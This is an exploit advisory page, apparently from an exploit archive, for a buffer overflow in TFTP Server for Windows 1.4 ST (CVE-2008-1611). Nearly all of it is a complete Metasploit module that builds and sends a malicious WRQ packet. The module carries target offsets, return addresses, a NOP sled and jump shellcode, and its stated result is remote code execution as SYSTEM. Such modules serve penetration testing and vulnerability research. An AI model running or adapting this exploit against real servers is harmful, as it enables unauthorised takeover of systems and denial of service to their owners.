TFTP Server for Windows 1.4 ST WRQ Buffer Overflow

2012.04.20
Credit: Datacut
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'TFTP Server for Windows 1.4 ST WRQ Buffer Overflow', 'Description' => %q{ This module exploits a vulnerability found in TFTP Server 1.4 ST. The flaw is due to the way TFTP handles the filename parameter extracted from a WRQ request. The server will append the user-supplied filename to TFTP server binary's path without any bounds checking, and then attempt to open this with a fopen(). Since this isn't a valid file path, fopen() returns null, which allows the corrupted data to be used in a strcmp() function, causing an access violation. Since the offset is sensitive to how the TFTP server is launched, you must know in advance if your victim machine launched the TFTP as a 'Service' or 'Standalone' , and then manually select your target accordingly. A successful attempt will lead to remote code execution under the context of SYSTEM if run as a service, or the user if run as a standalone. A failed attempt will result a denial-of-service. }, 'Author' => [ 'Mati Aharoni', #Initial discovery, PoC 'Datacut' #Metasploit ], 'References' => [ [ 'CVE', '2008-1611' ], [ 'OSVDB', '43785' ], [ 'BID', '18345' ], [ 'EDB', '5314' ] ], 'DefaultOptions' => { 'EXITFUNC' =>'seh', }, 'Payload' => { 'Space' => 600, 'BadChars' => "\x00\x2f", 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Targets' => [ # datacut tested ok 19/04/12 on xp sp2 sp3, win 7 sp0 sp1. # possible may work for other service packs and or vista # Rets = P/P/R from tftpserversp.exe [ 'Windows XP SP2/SP3 EN Service Mode', { 'Ret' => 0x416801 , 'Offset' => 1203} ], [ 'Windows XP SP2/SP3 EN Standalone Mode', { 'Ret' => 0x416801 , 'Offset' => 1487} ], [ 'Windows 7 SP0/SP1 EN x64 Service Mode', { 'Ret' => 0x416801 , 'Offset' => 1217} ], [ 'Windows 7 SP0/SP1 EN x64 Standalone Mode', { 'Ret' => 0x416801 , 'Offset' => 1501} ], [ 'Windows 7 SP0/SP1 EN x86 Service Mode', { 'Ret' => 0x416801 , 'Offset' => 1223} ], [ 'Windows 7 SP0/SP1 EN x86 Standalone Mode', { 'Ret' => 0x416801 , 'Offset' => 1507} ] ], 'Privileged' => false, 'DisclosureDate'=> 'Mar 26 2008', 'DefaultTarget' => 4)) #TFTP is installed as a service register_options( [ Opt::RPORT(69) ], self.class) end def exploit connect_udp nops = make_nops(50) lead = rand_text_alphanumeric(target['Offset'] - payload.encoded.length - nops.length) near = "\xe9\x80\xfd\xff\xff" #jump back 640 bytes to the nop sled nseh = "\xeb\xf9" + make_nops(2) #jump back 7 bytes to the long jump evil = lead + nops + payload.encoded + near + nseh + [target.ret].pack('V') mode = "netascii" #Send the WRQ packet (header "\x00\x02") sploit = "\x00\x02" + evil + "\0" + mode +"\0" udp_sock.put(sploit) handler disconnect_udp end end


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